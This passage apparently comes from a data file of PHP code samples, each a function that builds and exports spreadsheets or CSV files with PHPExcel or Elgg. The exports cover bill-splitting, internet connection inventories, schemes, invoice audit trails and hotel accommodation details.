$row;\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fontRed);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fillGray);\n\t\n\t\t\t$cellRent = chr($col+3) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellRent,'=SUM('. $cellFair .'-'. $cellInd .')');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->applyFromArray($fontGreen);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillYellow);\n\t\n\t\t\t$array[$name]['cell'] = $cellInd;\n\t\t\t$row++;\n\t\t}\n\t\n\t\t//inserts the sum of the fair amounts to compare to the one below\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\t$cell = chr($col+1) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(B2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRed);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\n\t\t//insert the rent check values\n\t\t$cell = chr($col+2) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalic);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$cell = chr($col+3) . $row;\n\t\t$endCell = chr($col+3) .($row-1);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(D2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBold);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t//inserts the bill and amount labels\n\t\t$row += 2;\n\t\t$cellMergeEnd = chr($col+1) . $row;\n\t\t$cell = chr($col) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'House bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->mergeCells($cell.':'.$cellMergeEnd);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillRed);\n\t\n\t\t$cell = chr($col) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Bill');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Amount');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\n\t\t//inserts the bills\n\t\t$startCell = chr($col+1) . $row;\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$col = 65;\n\t\t\t$bills = $member->getBills();\n\t\t\t$array[$name]['bills'] = [];\n\t\t\tforeach ($bills as $bill) {\n\t\t\t\t$desc = $bill->getBillDescription();\n\t\t\t\t$amount = $bill->getBillAmount();\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row,$desc);\n\t\t\t\t$amountCell = chr($col+1) . $row++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($amountCell,$amount);\n\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle($amountCell)->getNumberFormat()\n\t\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t\tarray_push($array[$name]['bills'], $amountCell);\n\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\n\t\t$col = 65;\n\t\n\t\t//inserts rent\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,$rent);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\n\t\t//inserts the total of bills\n\t\t$col = 65;\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Total H-B');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t$cell = chr($col+1) .$row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell, '=SUM('. $startCell .':'. $endCell .')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t//inserts the fair amount\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Fair Amount if ' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$cell = chr($col+1) .$row;\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->setCellValue($cell,'='. chr($col+1) .($row-1) . '/' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$fairAmountCell = chr($col+1) . $row;\n\t\n\t\t$row = 2;\n\t\tforeach ($members as $member) {\n\t\t\t$col = 66;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row++,'='. $fairAmountCell);\n\t\t}\n\t\n\t\t//inserts the individual bills\n\t\tforeach ($array as $value){\n\t\t\t$cell = $value['cell'];\n\t\t\t$sumOfBills = '';\n\t\t\t\t\n\t\t\tif (isset($value['bills'])) {\n\t\t\t\t$bills = $value['bills'];\n\t\t\t\t$counter = 1;\n\t\t\t\tforeach ($bills as $bill){\n\t\t\t\t\tif ($counter == 1){\n\t\t\t\t\t\t$sumOfBills .= $bill;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$sumOfBills .= '+' . $bill;\n\t\t\t\t\t}\n\t\t\t\t\t$counter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM('. $sumOfBills . ')');\n\t\t}\n\t\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n\t\n\t\t// Rename worksheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\t\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->setPreCalculateFormulas(true);\n\t\t//$objWriter->save(str_replace('.php', '.xlsx', __FILE__));\n\t\t$objWriter->save(str_replace('.php', '.xlsx', $GLOBALS['ROOT_PATH']. 'spreadsheets/'. $title .'.php'));\n\t\n\t\treturn $title . '.xlsx';\n\t}", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function weekviewHeader()\n {\n }", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "public function invoice_audit_trail_export_xls() {\n\n //Read page parameter to display report\n $tenant_id = $this->session->userdata('userDetails')->tenant_id;\n $invoice_id = $this->input->get('invoice_id');\n $start_date = $this->input->get('start_date');\n $end_date = $this->input->get('end_date');\n $company_id = $this->input->get('company_id');\n\n //Build required values to display invoice audit report in table format\n $field = ($this->input->get('f')) ? $this->input->get('f') : 'invoice_id';\n $order_by = ($this->input->get('o')) ? $this->input->get('o') : 'DESC';\n $tabledata = $this->reportsModel->get_invoice_audit_trail($tenant_id, $records_per_page, $offset, $field, $order_by, $payment_status, $start_date, $end_date, $invoice_id, $company_id);\n\n //EXPORT PART\n $this->load->helper('export_helper');\n $count_tabledata = count($tabledata);\n $excel_titles = array('Inv #', 'Inv Dt.', 'Inv Type', 'Taxcode', 'Discount', 'Subsidy', 'GST', 'Net Amt.', 'Prev. Inv. Number', 'Next Inv. Number');\n $excel_data = array();\n for ($i = 0; $i < $count_tabledata; $i++) {\n $paid_arr = array('PAID' => 'Paid', 'PARTPAID' => 'Part Paid', 'NOTPAID' => 'Not Paid');\n $paid_sty_arr = array('PAID' => 'color:green;', 'PARTPAID' => 'color:red;', 'NOTPAID' => 'color:red;');\n if ($tabledata[$i]->enrolment_mode == 'SELF') {\n $taxcode = $tabledata[$i]->tax_code;\n $name = $tabledata[$i]->first_name . ' ' . $tabledata[$i]->last_name;\n $status = $paid_arr[$tabledata[$i]->payment_status];\n } else {\n // Modified by dummy for internal staff enroll on 01 Dec 2014.\n if ($tabledata[$i]->company_id[0] == 'T') {\n $tenant_details = fetch_tenant_details($tabledata[$i]->company_id);\n $taxcode = $tenant_details->tenant_name;\n $name = $tenant_details->tenant_name;\n } else {\n $taxcode = $tabledata[$i]->comp_regist_num;\n $name = $tabledata[$i]->company_name;\n }\n $status = ($tabledata[$i]->payment_status > 0) ? 'Part Paid/Not Paid' : 'Paid';\n }\n $inv_type1 = $tabledata[$i]->inv_type1 . ' (' . $name . ')';\n $excel_data[$i][] = $tabledata[$i]->invoice_id;\n $excel_data[$i][] = date('d/m/Y', strtotime($tabledata[$i]->inv_date));\n $excel_data[$i][] = $inv_type1;\n $excel_data[$i][] = $this->mask_format($taxcode);\n $excel_data[$i][] = '$ ' . number_format($tabledata[$i]->total_inv_discnt, 2, '.', '') . ' SGD';\n $excel_data[$i][] = '$ ' . number_format($tabledata[$i]->total_inv_subsdy, 2, '.', '') . ' SGD';\n $excel_data[$i][] = '$ ' . number_format($tabledata[$i]->total_gst, 2, '.', '') . ' SGD';\n $excel_data[$i][] = '$ ' . number_format($tabledata[$i]->total_inv_amount, 2, '.', '') . ' SGD';\n $excel_data[$i][] = $tabledata[$i]->invoice_id;\n $excel_data[$i][] = $tabledata[$i]->regen_inv_id;\n }\n if (empty($start_date) && empty($end_date)) {\n $period = ' for ' . date('F d Y, l');\n } else {\n $period = 'for the period';\n if (!empty($start_date))\n $period .= ' from ' . date('F d Y', DateTime::createFromFormat('d-m-Y', $start_date)->getTimestamp());\n if (!empty($end_date))\n $period .= ' to ' . date('F d Y', DateTime::createFromFormat('d-m-Y', $end_date)->getTimestamp());\n }\n $excel_filename = 'invlice_audit_list.xls';\n $excel_sheetname = 'Invoice Audit Trail';\n $excel_main_heading = 'Accounting Reports - Invoice Audit Trail' . $period;\n export_page_fields($excel_titles, $excel_data, $excel_filename, $excel_sheetname, $excel_main_heading);\n }", "function download_accomodation_details($folder, $filename, $accomodation_details) {\n error_reporting(E_ALL);\n ini_set('display_errors', TRUE);\n ini_set('display_startup_errors', TRUE);\n\n define('EOL', (PHP_SAPI == 'cli') ? PHP_EOL : '<br />');\n date_default_timezone_set('Europe/London');\n\n require_once dirname(__FILE__) . '/Classes/PHPExcel.php';\n\n $objPHPExcel = new PHPExcel();\n\n $objPHPExcel->getProperties()->setCreator(\"Maarten Balliauw\")\n ->setLastModifiedBy(\"Maarten Balliauw\")\n ->setTitle(\"Office 2007 XLSX Test Document\")\n ->setSubject(\"Office 2007 XLSX Test Document\")\n ->setDescription(\"Test document for Office 2007 XLSX, generated using PHP classes.\")\n ->setKeywords(\"office 2007 openxml php\")\n ->setCategory(\"Test result file\");\n\n $heading = array(\n 'font' => array(\n 'bold' => true,\n 'color' => array('rgb' => 'FFFFFF'),\n 'size' => 10,\n 'name' => 'Calibri'\n ),\n 'alignment' => array(\n 'wrap' => true,\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER\n ),\n );\n $categoryheaderstyle = array(\n 'font' => array(\n 'bold' => true,\n 'color' => array('rgb' => '000000'),\n 'size' => 12,\n 'name' => 'Calibri'\n ),\n 'alignment' => array(\n 'wrap' => true,\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_LEFT,\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER\n ),\n );\n\n $columnheaderstyle = array(\n 'font' => array(\n 'bold' => true,\n 'color' => array('rgb' => '000000'),\n 'size' => 12,\n 'name' => 'Calibri'\n ),\n 'alignment' => array(\n 'wrap' => true,\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER\n ),\n );\n $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(30);\n\n $i = 2;\n $same = 0;\n $count = 0;\n \n if(sizeof($accomodation_details)>0 )\n {\n $i = 2;\n $j =1;\n\n $objPHPExcel->getActiveSheet()->setCellValue('A1', 'No'); \n $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Hotel Name');\n $objPHPExcel->getActiveSheet()->setCellValue('C1', 'Start Date');\n $objPHPExcel->getActiveSheet()->setCellValue('D1', 'End Date');\n $objPHPExcel->getActiveSheet()->setCellValue('E1', 'Room Type');\n $objPHPExcel->getActiveSheet()->setCellValue('F1', 'Occupants');\n $objPHPExcel->getActiveSheet()->setCellValue('G1', 'Food Plan');\n $objPHPExcel->getActiveSheet()->setCellValue('H1', 'Rack Rate');\n $objPHPExcel->getActiveSheet()->setCellValue('I1', 'Special Rate');\n $objPHPExcel->getActiveSheet()->setCellValue('J1', 'Extra Bed');\n $objPHPExcel->getActiveSheet()->setCellValue('K1', 'Extra Children');\n\n foreach ($accomodation_details as $data) {\n $objPHPExcel->getActiveSheet()->setCellValue('A' . $i, $j);\n $objPHPExcel->getActiveSheet()->setCellValue('B' . $i, $data['vendor_name']);\n $objPHPExcel->getActiveSheet()->setCellValue('C' . $i, date('d-M-Y', strtotime($data['start_date'])));\n $objPHPExcel->getActiveSheet()->setCellValue('D' . $i, date('d-M-Y', strtotime($data['end_date'])));\n $objPHPExcel->getActiveSheet()->setCellValue('E' . $i, $data['room_type']);\n $objPHPExcel->getActiveSheet()->setCellValue('F' . $i, $data['occupents']);\n $objPHPExcel->getActiveSheet()->setCellValue('G' . $i, $data['food_plan']);\n $objPHPExcel->getActiveSheet()->setCellValue('H' . $i, $data['rack_rate']);\n $objPHPExcel->getActiveSheet()->setCellValue('I' . $i, $data['special_rate']);\n $objPHPExcel->getActiveSheet()->setCellValue('J' . $i, $data['extra_bed']);\n $objPHPExcel->getActiveSheet()->setCellValue('K' . $i, $data['extra_child']);\n $i++;\n $j++;\n }\n\n $objPHPExcel->getActiveSheet()->getStyle('A1:K1')->applyFromArray(\n array(\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => 'FF9802')\n )\n )\n );\n $objPHPExcel->getActiveSheet()->getStyle('A1:K1')->applyFromArray($heading);\n\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(10);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n $objPHPExcel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n $objPHPExcel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n $objPHPExcel->getActiveSheet()->getColumnDimension('J')->setWidth(15);\n $objPHPExcel->getActiveSheet()->getColumnDimension('K')->setWidth(15);\n \n \n\n $objPHPExcel->getActiveSheet()\n ->getStyle('A')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('B')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('C')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('D')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('E')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('F')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('G')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('H')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('I')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('J')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $objPHPExcel->getActiveSheet()\n ->getStyle('K')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n }\n\n $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\n $objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n $objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\n $objPHPExcel->getActiveSheet()->setTitle('Printing');\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n $callStartTime = microtime(true);\n\n $file = $filename . date('dmY');\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n $objWriter->save($folder . '/' . $file . 